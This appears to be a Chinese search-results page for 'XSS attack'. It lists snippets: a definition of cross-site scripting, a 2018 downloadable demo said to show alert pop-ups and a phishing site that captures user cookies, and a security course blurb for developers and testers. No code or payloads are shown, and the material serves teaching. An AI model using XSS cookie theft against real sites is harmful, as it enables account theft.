    XSS 又称 CSS,全称 Cross SiteScript(跨站脚本攻击), XSS 攻击类似于 SQL 注入攻击, 是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式。其原理是攻击者向有 XSS 漏洞的网站中输入(传入)恶意的 ...
  • XSS攻击 代码演示

    2018-05-13 17:24:17
    网站xss 攻击 代码示例,包括alert弹框,钓鱼网站截取用户cookie信息等;是学习xss的简单示例。可以下载玩玩看看,示例中的钓鱼网站地址为 演示地址,即本资源中的项目地址。xss也是很简单的,可以学习学习
  • XSS攻击

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。

空空如也

1 2 3 4 5 ... 20
收藏数 48,966
精华内容 19,586
关键字:

xss攻击